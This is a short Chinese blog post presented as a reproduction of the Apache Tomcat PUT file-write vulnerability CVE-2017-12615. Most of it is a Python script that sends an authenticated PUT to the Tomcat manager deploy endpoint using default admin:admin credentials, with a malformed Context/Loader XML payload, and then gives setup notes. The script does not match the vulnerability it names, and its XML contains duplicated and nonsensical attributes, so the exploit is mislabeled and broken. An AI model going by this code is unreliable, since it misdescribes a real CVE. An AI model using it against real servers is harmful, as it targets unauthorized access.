【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)
import requests
# 目标URL
url = "http://your-tomcat-server/manager/text/deploy?path=%2Fexample&update=true"
# 基本认证凭证
credentials = ('admin', 'admin')
# PUT请求的文件内容
file_content = """<Context><Loader loaderClass="org.apache.catalina.loader.WebappLoader"
loaderClass="org.apache.catalina.loader.WebappLoader"
prefix="org.apache.catalina.startup.ContextConfig"
suffix=".class"
delegate="false"/>
</Context>"""
# 发送PUT请求
response = requests.put(url, files={'file': ('web.xml', file_content)}, auth=credentials, verify=False)
# 打印响应结果
print(response.text)
注意:
- 请将
your-tomcat-server
替换为实际的Tomcat服务器地址。 - 请确保你有适当的权限来执行这个操作,这可能违反服务条款。
- 示例中使用了
verify=False
来忽略SSL证书验证,仅在测试环境中使用,不推荐在生产环境中这么做。 - 该代码示例使用了
requests
库,需要先安装:pip install requests
。
评论已关闭